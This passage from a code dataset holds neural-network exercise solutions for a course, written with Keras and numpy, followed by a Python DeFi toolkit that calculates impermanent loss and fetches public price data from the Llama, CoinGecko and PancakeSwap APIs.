node_0_output\nnode_0_input = (input_data * weights['node_0']).sum()\nnode_0_output = relu(node_0_input)\n\n# Calculate node 1 value: node_1_output\nnode_1_input = (input_data * weights['node_1']).sum()\nnode_1_output = relu(node_1_input)\n\n# Put node values into array: hidden_layer_outputs\nhidden_layer_outputs = np.array([node_0_output, node_1_output])\n\n# Calculate model output (do not apply relu)\nmodel_output = (hidden_layer_outputs * weights['output']).sum()\n\n# Print model output\nprint(model_output)\n\n# ---------------------------------------------------------\n# Define predict_with_network()\ndef predict_with_network(input_data_row, weights):\n # Calculate node 0 value\n node_0_input = (input_data_row * weights['node_0']).sum()\n node_0_output = relu(node_0_input)\n\n # Calculate node 1 value\n node_1_input = (input_data_row * weights['node_1']).sum()\n node_1_output = relu(node_1_input)\n\n # Put node values into array: hidden_layer_outputs\n hidden_layer_outputs = np.array([node_0_output, node_1_output])\n\n # Calculate model output\n input_to_final_layer = (hidden_layer_outputs * weights['output']).sum()\n model_output = relu(input_to_final_layer)\n\n # Return model output\n return (model_output)\n\n\n# Create empty list to store prediction results\nresults = []\nfor input_data_row in input_data:\n # Append prediction to results\n results.append(predict_with_network(input_data_row, weights))\n\n# Print results\nprint(results)\n\n# ---------------------------------------------------------\ndef predict_with_network(input_data):\n # Calculate node 0 in the first hidden layer\n node_0_0_input = (input_data * weights['node_0_0']).sum()\n node_0_0_output = relu(node_0_0_input)\n\n # Calculate node 1 in the first hidden layer\n node_0_1_input = (input_data * weights['node_0_1']).sum()\n node_0_1_output = relu(node_0_1_input)\n\n # Put node values into array: hidden_0_outputs\n hidden_0_outputs = np.array([node_0_0_output, node_0_1_output])\n\n # Calculate node 0 in the second hidden layer\n node_1_0_input = (hidden_0_outputs * weights['node_1_0']).sum()\n node_1_0_output = relu(node_1_0_input)\n\n # Calculate node 1 in the second hidden layer\n node_1_1_input = (hidden_0_outputs * weights['node_1_1']).sum()\n node_1_1_output = relu(node_1_1_input)\n\n # Put node values into array: hidden_1_outputs\n hidden_1_outputs = np.array([node_1_0_output, node_1_1_output])\n\n # Calculate model output: model_output\n model_output = (hidden_1_outputs * weights['output']).sum()\n\n # Return model_output\n return (model_output)\n\n\noutput = predict_with_network(input_data)\nprint(output)\n\n# ---------------------------------------------------------\n# The data point you will make a prediction for\ninput_data = np.array([0, 3])\n\n# Sample weights\nweights_0 = {'node_0': [2, 1],\n 'node_1': [1, 2],\n 'output': [1, 1]\n }\n\n# The actual target value, used to calculate the error\ntarget_actual = 3\n\n# Make prediction using original weights\nmodel_output_0 = predict_with_network(input_data, weights_0)\n\n# Calculate error: error_0\nerror_0 = model_output_0 - target_actual\n\n# Create weights that cause the network to make perfect prediction (3): weights_1\nweights_1 = {'node_0': [2, 1],\n 'node_1': [1, 2],\n 'output': [1, 0]\n }\n\n# Make prediction using new weights: model_output_1\nmodel_output_1 = predict_with_network(input_data, weights_1)\n\n# Calculate error: error_1\nerror_1 = model_output_1 - target_actual\n\n# Print error_0 and error_1\nprint(error_0)\nprint(error_1)\n\n# ---------------------------------------------------------\nfrom sklearn.metrics import mean_squared_error\n\n# Create model_output_0\nmodel_output_0 = []\n# Create model_output_1\nmodel_output_1 = []\n\n# Loop over input_data\nfor row in input_data:\n # Append prediction to model_output_0\n model_output_0.append(predict_with_network(row, weights_0))\n\n # Append prediction to model_output_1\n model_output_1.append(predict_with_network(row, weights_1))\n\n# Calculate the mean squared error for model_output_0: mse_0\nmse_0 = mean_squared_error(target_actuals, model_output_0)\n\n# Calculate the mean squared error for model_output_1: mse_1\nmse_1 = mean_squared_error(target_actuals, model_output_1)\n\n# Print mse_0 and mse_1\nprint(\"Mean squared error with weights_0: %f\" % mse_0)\nprint(\"Mean squared error with weights_1: %f\" % mse_1)\n\n# ---------------------------------------------------------\n# Calculate the predictions: preds\npreds = (weights * input_data).sum()\n\n# Calculate the error: error\nerror = preds - target\n\n# Calculate the slope: slope\nslope = 2 * input_data * error\n\n# Print the slope\nprint(slope)\n\n# ---------------------------------------------------------\n# Set the learning rate: learning_rate\nlearning_rate = 0.01\n\n# Calculate the predictions: preds\npreds = (weights * input_data).sum()\n\n# Calculate the error: error\nerror = preds - target\n\n# Calculate the slope: slope\nslope = 2 * input_data * error\n\n# Update the weights: weights_updated\nweights_updated = weights - (learning_rate * slope)\n\n# Get updated predictions: preds_updated\npreds_updated = (weights_updated * input_data).sum()\n\n# Calculate updated error: error_updated\nerror_updated = preds_updated - target\n\n# Print the original error\nprint(error)\n\n# Print the updated error\nprint(error_updated)\n\n# ---------------------------------------------------------\nn_updates = 20\nmse_hist = []\n\n# Iterate over the number of updates\nfor i in range(n_updates):\n # Calculate the slope: slope\n slope = get_slope(input_data, target, weights)\n\n # Update the weights: weights\n weights = weights - slope * 0.01\n\n # Calculate mse with new weights: mse\n mse = get_mse(input_data, target, weights)\n\n # Append the mse to mse_hist\n mse_hist.append(mse)\n\n# Plot the mse history\nplt.plot(mse_hist)\nplt.xlabel('Iterations')\nplt.ylabel('Mean Squared Error')\nplt.show()\n\n# ---------------------------------------------------------\n# Import necessary modules\nimport keras\nfrom keras.layers import Dense\nfrom keras.models import Sequential\n\n# Save the number of columns in predictors: n_cols\nn_cols = predictors.shape[1]\n\n# Set up the model: model\nmodel = Sequential()\n\n# Add the first layer\nmodel.add(Dense(50, activation='relu', input_shape=(n_cols,)))\n\n# Add the second layer\nmodel.add(Dense(32, activation='relu'))\n\n# Add the output layer\nmodel.add(Dense(1))\n\n# ---------------------------------------------------------\n# Import necessary modules\nimport keras\nfrom keras.layers import Dense\nfrom keras.models import Sequential\n\n# Specify the model\nn_cols = predictors.shape[1]\nmodel = Sequential()\nmodel.add(Dense(50, activation='relu', input_shape = (n_cols,)))\nmodel.add(Dense(32, activation='relu'))\nmodel.add(Dense(1))\n\n# Compile the model\nmodel.compile(optimizer = 'adam', loss = 'mean_squared_error')\n\n# Verify that model contains information from compiling\nprint(\"Loss function: \" + model.loss)\n\n# ---------------------------------------------------------\n# Import necessary modules\nimport keras\nfrom keras.layers import Dense\nfrom keras.models import Sequential\n\n# Specify the model\nn_cols = predictors.shape[1]\nmodel = Sequential()\nmodel.add(Dense(50, activation='relu', input_shape = (n_cols,)))\nmodel.add(Dense(32, activation='relu'))\nmodel.add(Dense(1))\n\n# Compile the model\nmodel.compile(optimizer='adam', loss='mean_squared_error')\n\n# Fit the model\nmodel.fit(predictors, target)\n\n# ---------------------------------------------------------\n# Import necessary modules\nimport keras\nfrom keras.layers import Dense\nfrom keras.models import Sequential\nfrom keras.utils import to_categorical\n\n# Convert the target to categorical: target\ntarget = to_categorical(df.survived)\n\n# Set up the model\nmodel = Sequential()\n\n# Add the first layer\nmodel.add(Dense(32, activation='relu', input_shape=(n_cols,)))\n\n# Add the output layer\nmodel.add(Dense(2, activation=\"softmax\"))\n\n# Compile the model\nmodel.compile(optimizer='sgd', loss='categorical_crossentropy', metrics=['accuracy'])\n\n# Fit the model\nmodel.fit(predictors, target)\n\n# ---------------------------------------------------------\n# Specify, compile, and fit the model\nmodel = Sequential()\nmodel.add(Dense(32, activation='relu', input_shape = (n_cols,)))\nmodel.add(Dense(2, activation='softmax'))\nmodel.compile(optimizer='sgd',\n loss='categorical_crossentropy',\n metrics=['accuracy'])\nmodel.fit(predictors, target)\n\n# Calculate predictions: predictions\npredictions = model.predict(pred_data)\n\n# Calculate predicted probability of survival: predicted_prob_true\npredicted_prob_true = predictions[:,1]\n\n# print predicted_prob_true\nprint(predicted_prob_true)\n\n# ---------------------------------------------------------\n# Import the SGD optimizer\nfrom keras.optimizers import SGD\n\n# Create list of learning rates: lr_to_test\nlr_to_test = [0.000001, 0.01, 1]\n\n# Loop over learning rates\nfor lr in lr_to_test:\n print('\\n\\nTesting model with learning rate: %f\\n' % lr)\n\n # Build new model to test, unaffected by previous models\n model = get_new_model()\n\n # Create SGD optimizer with specified learning rate: my_optimizer\n my_optimizer = SGD(lr=lr)\n\n # Compile the model\n model.compile(optimizer=my_optimizer, loss='categorical_crossentropy')\n\n # Fit the model\n model.fit(predictors, target)\n\n# ---------------------------------------------------------\n# Save the number of columns in predictors: n_cols\nn_cols = predictors.shape[1]\ninput_shape = (n_cols,)\n\n# Specify the model\nmodel = Sequential()\nmodel.add(Dense(100, activation='relu', input_shape = input_shape))\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(2, activation='softmax'))\n\n# Compile the model\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n# Fit the model\nhist = model.fit(predictors, target, validation_split=0.3)\n\n# ---------------------------------------------------------\n# Import EarlyStopping\nfrom keras.callbacks import EarlyStopping\n\n# Save the number of columns in predictors: n_cols\nn_cols = predictors.shape[1]\ninput_shape = (n_cols,)\n\n# Specify the model\nmodel = Sequential()\nmodel.add(Dense(100, activation='relu', input_shape = input_shape))\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(2, activation='softmax'))\n\n# Compile the model\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n# Define early_stopping_monitor\nearly_stopping_monitor = EarlyStopping(patience=2)\n\n# Fit the model\nmodel.fit(predictors, target, epochs=30, validation_split=0.3, callbacks=[early_stopping_monitor])\n\n# ---------------------------------------------------------\n# Define early_stopping_monitor\nearly_stopping_monitor = EarlyStopping(patience=2)\n\n# Create the new model: model_2\nmodel_2 = Sequential()\n\n# Add the first and second layers\nmodel_2.add(Dense(100, activation='relu', input_shape=input_shape))\nmodel_2.add(Dense(100, activation='relu'))\n\n# Add the output layer\nmodel_2.add(Dense(2, activation='softmax'))\n\n# Compile model_2\nmodel_2.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n# Fit model_1\nmodel_1_training = model_1.fit(predictors, target, epochs=15, validation_split=0.2, callbacks=[early_stopping_monitor], verbose=False)\n\n# Fit model_2\nmodel_2_training = model_2.fit(predictors, target, epochs=15, validation_split=0.2, callbacks=[early_stopping_monitor], verbose=False)\n\n# Create the plot\nplt.plot(model_1_training.history['val_loss'], 'r', model_2_training.history['val_loss'], 'b')\nplt.xlabel('Epochs')\nplt.ylabel('Validation score')\nplt.show()\n\n# ---------------------------------------------------------\n# The input shape to use in the first hidden layer\ninput_shape = (n_cols,)\n\n# Create the new model: model_2\nmodel_2 = Sequential()\n\n# Add the first, second, and third hidden layers\nmodel_2.add(Dense(50, activation='relu', input_shape=input_shape))\nmodel_2.add(Dense(50, activation='relu'))\nmodel_2.add(Dense(50, activation='relu'))\n\n# Add the output layer\nmodel_2.add(Dense(2, activation='softmax'))\n\n# Compile model_2\nmodel_2.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n# Fit model 1\nmodel_1_training = model_1.fit(predictors, target, epochs=20, validation_split=0.4, callbacks=[early_stopping_monitor], verbose=False)\n\n# Fit model 2\nmodel_2_training = model_2.fit(predictors, target, epochs=20, validation_split=0.4, callbacks=[early_stopping_monitor], verbose=False)\n\n# Create the plot\nplt.plot(model_1_training.history['val_loss'], 'r', model_2_training.history['val_loss'], 'b')\nplt.xlabel('Epochs')\nplt.ylabel('Validation score')\nplt.show()\n\n# ---------------------------------------------------------\n# Create the model: model\nmodel = Sequential()\n\n# Add the first hidden layer\nmodel.add(Dense(50, activation='relu', input_shape=(784,)))\n\n# Add the second hidden layer\nmodel.add(Dense(50, activation='relu'))\n\n# Add the output layer\nmodel.add(Dense(10, activation='softmax'))\n\n# Compile the model\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n# Fit the model\nmodel.fit(X, y, validation_split=0.3)\n\n# ---------------------------------------------------------\n\n\n","repo_name":"giuseppevicari/UCDCourseModules","sub_path":"Module 12.py","file_name":"Module 12.py","file_ext":"py","file_size_in_byte":14046,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"32"} +{"seq_id":"72128995931","text":"\"\"\"Tools for use in DeFi\n\"\"\"\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport datetime, requests\nfrom scipy import interpolate\nimport matplotlib.cm as cm\nfrom matplotlib.gridspec import GridSpec\n\n\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\n\ndef iloss(price_ratio, numerical=False):\n \"\"\"return the impermanent loss result in compare with buy&hold A&B assets\n\n \n Args:\n price_ratio (float): Variation A Asset / Variation B Asset\n \n price_ratio formula:\n price_ratio = (var_A/100 + 1) / (var_B/100 + 1)\n var_A: Asset A % variation\n var_B: Asset B % variation\n\n numerical (bool): if True, returns impermanent loss as a decimal expr, ie \"5%\"\" => 0.05 (Default: False) \n \n Returns:\n TYPE: impermanent loss as a string percentual value\n \"\"\"\n il = 2 * (price_ratio**0.5 / (1 + price_ratio)) - 1\n r = f\"{il:.2%}\" if not numerical else il\n\n return r\n\n\n\ndef compare(days, var_A=0, var_B=0, rw_pool_A=0, rw_pool_B=0, rw_pool_AB=0, fees_AB=0):\n \"\"\"Compare for 2 assets, buy&hold strategy with separate staking and farming by liquidity pool providing.\n Considering: impermanent loss, fees earned and farming/staking rewards\n \n Args:\n days (int): days for strategy\n var_A (float, optional): Percentual variation for A token. Ex 10 for 10%\n var_B (float, optional): Percentual variation for B token. Ex 10 for 10%\n rw_pool_A (float, optional): Percentual rewards per day for one asset pool (Token A)\n rw_pool_B (float, optional): Percentual rewards per day for one asset pool (Token B)\n rw_pool_AB (float, optional): Percentual rewards per day for two asset farm (LP Token AB)\n fees_AB (float, optional): Percentual provider liquidity fees earned per day\n \n Returns:\n dict: Percentual returns for each strategy:\n buy_hold two assets in your wallet\n stake two assets at individual pools\n farming by liquidity pool \n \"\"\"\n buy_hold = (0.5 * var_A + 0.5 * var_B)/100\n x = (var_A/100 + 1) / (var_B/100 + 1)\n perdida_impermanente = 2 * (x**0.5 / (1 + x)) - 1\n\n stake = buy_hold + 0.5 * days * (rw_pool_A/100 + rw_pool_B/100)\n farm = buy_hold * (1+perdida_impermanente) + days * (rw_pool_AB/100 + fees_AB/100)\n mejor = 'Farm' if farm > stake else 'Stake'\n \n return {'buy_hold':f'{buy_hold:.2%}', 'stake':f'{stake:.2%}', 'farm':f'{farm:.2%}', 'Best': mejor}\n\n\n\n\n\n######################################################################\n## ##\n## Llama API ##\n## Public API https://docs.llama.fi/api ##\n## ##\n######################################################################\n\n\ndef getProtocols():\n \"\"\"Get list all DeFi protocols across all blockchains\n \n Returns:\n DataFrame: All DeFi dApps \n \"\"\"\n url = \"https://api.llama.fi/protocols\"\n r = requests.get(url)\n r_json = r.json()\n df = pd.DataFrame(r_json)\n df.set_index('name', inplace=True)\n return df\n\n\ndef getProtocol(protocol):\n \"\"\"Get metrics and historic TVL for one DeFi dApp\n \n Args:\n protocol (String): Name of protocol ie \"Uniswap\"\n \n Returns:\n tuple (Dictionary, DataFrame): Dictionary with protocol metadata & DataFrame with historical TVL\n \"\"\"\n url = f\"https://api.llama.fi/protocol/{protocol}\"\n r = requests.get(url)\n r_json = r.json()\n\n df = pd.DataFrame(r_json['tvl'])\n df.date = pd.to_datetime(df.date, unit='s')\n df = df.set_index('date')\n del r_json['tvl']\n metadata = r_json\n\n return metadata, df\n\n\ndef getChart():\n \"\"\"Get historical TVL across all DeFi dApps, cummulative result\n \n Returns:\n DataFrame: DataFrame date-indexed with all days TVL \n \"\"\"\n\n url = \"https://api.llama.fi/charts\"\n r = requests.get(url)\n r_json = r.json()\n df = pd.DataFrame(r_json)\n df.date = pd.to_datetime(df.date, unit='s')\n df = df.set_index('date')\n return df\n\n\n\n######################################################################\n## ##\n## CoinGecko API ##\n## Public API https://www.coingecko.com/es/api ##\n## ##\n######################################################################\n\n\n\n\ndef geckoPrice(tokens, quote):\n \"\"\"get price of combine pairs\n \n Args:\n tokens (comma separated strings): ie \"bitcoin,ethereum\"\n quote (comma separated fiat or quote currency): ie: \"usd,eur\"\n \n Returns:\n dictionary: Returns pairs quotes\n \"\"\"\n\n url = \"https://api.coingecko.com/api/v3/simple/price\"\n params = {\"ids\":tokens, \"vs_currencies\":quote}\n r = requests.get(url, params).json()\n return r\n\n\n\ndef geckoList(page=1, per_page=250):\n \"\"\"Returns list of full detail conGecko currency list\n \n Args:\n page (int, optional): number of pages\n per_page (int, optional): number of records per page\n \n Returns:\n DataFrame: list of full detail conGecko currency list\n \"\"\"\n url = \"https://api.coingecko.com/api/v3/coins/markets\"\n params = {\"vs_currency\":\"usd\", \"order\":\"market_cap_desc\", \"per_page\":per_page, \"page\":page}\n r = requests.get(url, params).json()\n df = pd.DataFrame(r)\n df.set_index('symbol', inplace=True)\n return df\n\n\n\ndef geckoMarkets(ticker):\n \"\"\"Get top100 markets (pairs, quotes, exchanges, volume, spreads and more)\n \n Args:\n ticker (string): gecko ID, ie \"bitcoin\"\n \n Returns:\n DataFrame: Full detail markets available\n \"\"\"\n url = f\"https://api.coingecko.com/api/v3/coins/{ticker}/tickers\"\n r = requests.get(url).json()['tickers']\n df = pd.DataFrame(r)\n df['exchange'] = df['market'].apply(pd.Series)['name']\n df['volume_usd'] = df['converted_volume'].apply(pd.Series)['usd']\n df['price_usd'] = df['converted_last'].apply(pd.Series)['usd']\n\n df.set_index('exchange', inplace=True)\n cols = ['base','target','last', 'volume','bid_ask_spread_percentage','timestamp',\n 'volume_usd','price_usd','trust_score']\n df = df.loc[:,cols]\n cols[4] = 'spread'\n df.columns = cols\n df.timestamp = pd.to_datetime(df.timestamp)\n \n return df.sort_values('volume_usd', ascending=False)\n\n\n\ndef geckoHistorical(ticker, vs_currency='usd', days='max'):\n \"\"\"Historical prices from coinGecko\n \n Args:\n ticker (string): gecko ID, ie \"bitcoin\"\n vs_currency (str, optional): ie \"usd\" (default)\n days (str, optional): ie \"20\", \"max\" (default)\n \n Returns:\n DataFrame: Full history: date, price, market cap & volume\n \"\"\"\n \n url = f\"https://api.coingecko.com/api/v3/coins/{ticker}/market_chart\"\n params = {\"vs_currency\":{vs_currency}, \"days\":days}\n r = requests.get(url, params).json()\n prices = pd.DataFrame(r['prices'])\n market_caps = pd.DataFrame(r['market_caps'])\n total_volumes = pd.DataFrame(r['total_volumes'])\n df = pd.concat([prices, market_caps[1], total_volumes[1]], axis=1)\n df[0] = pd.to_datetime(df[0], unit='ms')\n df.columns = ['date','price','market_caps','total_volumes']\n df.set_index('date', inplace=True)\n\n return df\n\n\ndef getGeckoIDs():\n \"\"\"IDs List from coinGecko\n \n Returns:\n list: First 5000 coingecko IDs by marketCap rank\n \"\"\" \n ids_list = []\n\n for i in range(20):\n print(f'searching coins page: {i} ', end='\\r')\n ids_list = ids_list + geckoList(page=i, per_page=250)['id'].tolist()\n return ids_list\n\n\n\n\ndef farmSimulate(pair, apr, start='2021-01-01'):\n \"\"\"Simulate farm result with historical prices & APR value\n \n Args:\n pair (list): gecko IDs list [\"bitcoin\",'tether']\n apr (float): ie 25 (for 25% Anual rewards)\n start (str, optional): ISO Format YYYY-MM-DD ie \"2021-01-01\", \"2021-01-01\" (default)\n \n Returns:\n Dict & Plot: Full farming strategy results\n \"\"\"\n\n prices = pd.DataFrame()\n for coin in pair:\n print(f'Downloading {coin}')\n try:\n df = geckoHistorical(coin)\n prices[coin] = df['price']\n except:\n print(f'Error geting {coin} prices')\n\n if len(prices.columns)==2:\n prices = prices.dropna().iloc[:]\n start = datetime.datetime.strptime(start, '%Y-%m-%d') \n farm = prices.loc[prices.index>=start]\n farm = farm.divide(farm.iloc[0])\n farm['ratio'] = farm.iloc[:,1].divide(farm.iloc[:,0])\n\n\n farm['iloss'] = 2 * (farm['ratio']**0.5 / (1 + farm['ratio'])) - 1\n farm['rewards'] = pd.Series(1*apr/100/365, index=farm.index).cumsum()\n farm['buy_hold'] = (farm.iloc[:,0] + farm.iloc[:,1])/2 \n farm['farm'] = farm.buy_hold *(1+farm.iloss) * (1+farm.rewards) \n\n\n cagrs = farm.iloc[-1]**(1/(365/len(farm)))-1\n sigmas = farm.pct_change().std() * 365**0.5\n sharpes = cagrs.divide(sigmas).round(2)\n dd = farm/farm.cummax()-1\n\n fig = plt.figure(figsize=(15,8))\n gs = GridSpec(nrows=2,ncols=4, figure=fig, height_ratios=[2,1], hspace=0.45, wspace=0.35, top=.9)\n ax_upleft = fig.add_subplot(gs[0,0:2])\n ax_upright = fig.add_subplot(gs[0,2:])\n cols = 4\n ax_down = [fig.add_subplot(gs[1,i]) for i in range(cols)]\n \n ax_upleft.plot(farm.iloss.abs(), label='Impermanent Loss')\n ax_upleft.plot(farm.rewards, label='Farming Rewards')\n ax_upleft.legend()\n ax_upleft.grid()\n ax_upleft.set_title('Impermanent Loss vs Farming Rewards')\n ax_upleft.tick_params(axis='x', rotation=45)\n \n ax_upright.plot(farm.iloc[:,:2])\n ax_upright.plot(farm.buy_hold)\n ax_upright.plot(farm.farm)\n ax_upright.grid()\n ax_upright.legend([pair[0],pair[1],'Buy&Hold','Farming Strategy'])\n ax_upright.set_title(f'{pair[0]} vs {pair[1]} vs Buy & Hold vs Farming strategy payoff')\n ax_upright.tick_params(axis='x', rotation=45)\n \n cagrs[[pair[0],pair[1],'buy_hold','farm']].plot(kind='bar', ax=ax_down[0])\n sigmas[[pair[0],pair[1],'buy_hold','farm']].plot(kind='bar', ax=ax_down[1])\n sharpes[[pair[0],pair[1],'buy_hold','farm']].plot(kind='bar', ax=ax_down[2])\n dd[[pair[0],pair[1],'buy_hold','farm']].min().plot(kind='bar', ax=ax_down[3])\n\n ax_down[0].set_title('CAGR', fontsize=12)\n ax_down[1].set_title('Anualized Volatility', fontsize=12)\n ax_down[2].set_title('Sharpe Ratio', fontsize=12)\n ax_down[3].set_title('Max DrawDowns', fontsize=12)\n [ax_down[i].grid(alpha=0.4) for i in range(cols)]\n\n for i in range(cols):\n ax_down[i].spines['top'].set_visible(False)\n ax_down[i].spines['right'].set_visible(False)\n\n \n b_h = (farm.iloc[-1].iloc[0] + farm.iloc[-1].iloc[1])/2 - 1\n iloss = farm.iloc[-1].iloss\n rewards = farm.iloc[-1].rewards\n net_farming = b_h * (1+iloss) * (1+rewards)\n\n \n result = {'Token 1': pair[0], 'Token 2': pair[1], 'start':start.isoformat()[:10], \n 'fixed APR': f'{apr/100:.0%}', 'Buy & Hold': f'{b_h:.2%}', \n 'Impermanent Loss':f'{iloss:.2%}', 'Farming Rewards': f'{rewards:.2%}', \n 'Farming + Rewards - IL': f'{net_farming:.2%}' }\n\n plt.show()\n\n else:\n result = 'Error geting historical prices, see geckoIDs() function to get CoinGecko IDs'\n return result\n\n\n\n######################################################################\n## ##\n## Pancake Swap API ##\n## API https://github.com/pancakeswap/pancake-info-api ##\n## ##\n######################################################################\n\n\ndef toFloatPartial(df):\n for i in df.columns:\n try:\n df[[i]] = df[[i]].astype(float)\n except:\n pass\n return df\n\n \ndef pcsSummary(as_df = True ):\n\n url = \"https://api.pancakeswap.info/api/v2/summary\"\n r = requests.get(url).json()\n data = r.get('data', None)\n upd = r.get('updated_at')/1000\n upd_dt = datetime.datetime.fromtimestamp(upd)\n\n if as_df:\n df = pd.DataFrame.from_dict(data, orient='index')\n df = toFloatPartial(df) \n df['updated'] = upd_dt\n return df\n else:\n return r\n\ndef pcsTokens(as_df = True):\n \"\"\"get all token listed in pancakeswap\n \n Args:\n as_df (bool, optional): if True (default), return is a dataframe, else is a dictionary\n \n Returns:\n DataFrame with next columns: name symbol price price_BNB updated\n\n \"\"\"\n # ultimo precio y volumen de base/quote de todos los pares\n\n url = \"https://api.pancakeswap.info/api/v2/tokens\"\n r = requests.get(url).json()\n data = r.get('data', None)\n upd = r.get('updated_at')/1000\n upd_dt = datetime.datetime.fromtimestamp(upd)\n \n if as_df:\n df = pd.DataFrame.from_dict(data, orient='index')\n df = toFloatPartial(df) \n df['updated'] = upd_dt\n return df\n else:\n return r\n\n\ndef pcsPairs(as_df = True):\n \"\"\"get top 1000 pancakeswap pairs LP order by reserves\n \n Args:\n as_df (bool, optional): if True (default), return is a dataframe, else is a dictionary\n \n Returns:\n DataFrame with next columns: 'pair_address', 'base_name', 'base_symbol', 'base_address',\n 'quote_name', 'quote_symbol', 'quote_address', 'price', 'base_volume',\n 'quote_volume', 'liquidity', 'liquidity_BNB', 'updated'\n \"\"\"\n\n url = \"https://api.pancakeswap.info/api/v2/pairs\"\n r = requests.get(url).json()\n data = r.get('data', None)\n upd = r.get('updated_at')/1000\n upd_dt = datetime.datetime.fromtimestamp(upd)\n \n if as_df:\n df = pd.DataFrame.from_dict(data, orient='index')\n df = toFloatPartial(df) \n df['updated'] = upd_dt\n return df\n else:\n return r\n\ndef pcsTokenInfo(search):\n \"\"\"get info from a token\n \n Args:\n search (string): Token symbol or contract address\n \n Returns:\n Dict: \n {\n 'name': 'Wrapped BNB',\n 'symbol': 'WBNB',\n 'price': '524.5429',\n 'price_BNB': '1'\n }\n \"\"\"\n search = 'WBNB' if search.upper() == 'BNB' else search \n url = \"https://api.pancakeswap.info/api/v2/tokens\"\n r = requests.get(url).json()\n data = r.get('data', None)\n res = f\"Not found: {search}\"\n for contract, values in data.items():\n if search.upper() == values['symbol'].upper() or search.upper()==contract.upper():\n res = data[contract]\n break\n\n return res\n\n\n\ndef pcsPairInfo(base, quote):\n \"\"\"get info from a token pair LP\n \n Args:\n base (string): Base LP token, ie \"CAKE\"\n quote (string): Quote LP token, ie \"BNB\"\n its the same if you call pcsPAirInfo('cake', 'bnb') or pcsPAirInfo('bnb', 'cake') \n Returns:\n Dict: {\n 'pair_address': '0xA527a61703D82139F8a06Bc30097cC9CAA2df5A6',\n 'base_name': 'PancakeSwap Token',\n 'base_symbol': 'Cake',\n 'base_address': '0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82',\n 'quote_name': 'Wrapped BNB',\n 'quote_symbol': 'WBNB',\n 'quote_address': '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',\n 'price': '0.04311198194009326668',\n 'base_volume': '22248744.85',\n 'quote_volume': '934856.36',\n 'liquidity': '982769040.63',\n 'liquidity_BNB': '1878155.84'\n }\n * price is actually a ratio between base/quote tokens\n \"\"\"\n url = \"https://api.pancakeswap.info/api/v2/pairs\"\n r = requests.get(url).json()\n data = r.get('data', None)\n res = f\"Not found: {base}-{quote}\"\n base = 'WBNB' if base.upper() == 'BNB' else base\n quote = 'WBNB' if quote.upper() == 'BNB' else quote\n \n for contract, values in data.items():\n base_ = base.upper() == values['base_symbol'].upper()\n quote_ = quote.upper() == values['quote_symbol'].upper()\n base_cross = base.upper() == values['quote_symbol'].upper()\n quote_cross = quote.upper() == values['base_symbol'].upper()\n\n if (base_ and quote_) or (base_cross and quote_cross):\n res = data[contract]\n break\n \n return res\n\n\nfrom scipy import interpolate\nimport matplotlib.cm as cm\n\ndef iloss_simulate(base_token, quote_token, value=100, base_pct_chg=0, quote_pct_chg=0):\n \"\"\"Calculate simulated impermanent loss from an initial value invested, get real time prices from pancakeswap API\n This method create a 3D interpolated surface for impermanent loss and initial/final value invested\n\n Args:\n base_token (string): Pair first token, ie CAKE\n quote_token (string): Pais second token, ie BNB\n value (int, optional): Value investen in LP default=100\n base_pct_chg (int, optional): value assming will change first token of LP pair, ie 10 (for +10% change)\n quote_pct_chg (int, optional): value assming will change first token of LP pair, ie -30 (for -30% change)\n \n Returns:\n tuple (value_f, iloss): final value of value invested, and decimal impermanent loss\n \"\"\"\n base_token = 'WBNB' if base_token.upper() == 'BNB' else base_token\n quote_token = 'WBNB' if quote_token.upper() == 'BNB' else quote_token\n \n # get real time prices\n tokens = pcsTokens()\n px_base = float(tokens.loc[tokens.symbol.str.upper()==base_token.upper()].price)\n px_quote = float(tokens.loc[tokens.symbol.str.upper()==quote_token.upper()].price)\n\n # Prepare grid\n q_base, q_quote = (value/2)/px_base, (value/2)/px_quote\n px_base, px_quote, q_base, q_quote\n pxs_base = [px_base*i/100 for i in range(1,301)]\n pxs_quote = [px_quote*i/100 for i in range(1,301)]\n rows = []\n for px_b in pxs_base:\n for px_q in pxs_quote:\n ratio = (px_b / px_base) / (px_q / px_quote)\n iloss = 2 * (ratio**0.5 / (1 + ratio)) - 1\n\n row = {'px_base':px_b, 'px_quote':px_q, \n 'ratio':(px_b / px_base) / (px_q / px_quote),\n 'impremante_loss':iloss}\n rows.append(row)\n df = pd.DataFrame(rows)\n df_ok = df.loc[:,['px_base','px_quote','impremante_loss']]\n df_ok = df_ok.replace('NaN',np.nan).dropna()\n\n if all(isinstance(i, (int, float)) for i in (value, base_pct_chg, quote_pct_chg)):\n px_base_f = px_base * (1+base_pct_chg/100)\n px_quote_f = px_quote * (1+quote_pct_chg/100)\n ratio = (px_base_f / px_base) / ( px_quote_f / px_quote)\n iloss = 2 * (ratio**0.5 / (1 + ratio)) - 1\n value_f = (px_base_f*q_base + px_quote_f * q_quote) * (iloss+1)\n else:\n px_base_f, px_quote_f = px_base, px_quote\n iloss = 0\n value_f = None\n print('must input numerical amount and pct change for base and quote to calculations of final value')\n \n\n # Ploting surface\n fig = plt.figure(figsize=(8,8))\n x1 = np.linspace(df_ok['px_base'].min(), df_ok['px_base'].max(), len(df_ok['px_base'].unique()))\n y1 = np.linspace(df_ok['px_quote'].min(), df_ok['px_quote'].max(), len(df_ok['px_quote'].unique()))\n x2, y2 = np.meshgrid(x1, y1)\n Z = interpolate.griddata((df_ok['px_base'], df_ok['px_quote']), df_ok['impremante_loss'], (x2, y2))\n Z[np.isnan(Z)] = df_ok.impremante_loss.mean()\n ax = plt.axes(projection='3d', alpha=0.2)\n ax.plot_wireframe(x2, y2, Z, color='tab:blue', lw=1, cmap='viridis', alpha=0.6) \n \n # Start values ploting\n xmax = df_ok.px_base.max() \n ymax = df_ok.px_quote.max()\n ax.plot([px_base, px_base], [0,px_quote], [-1,-1], 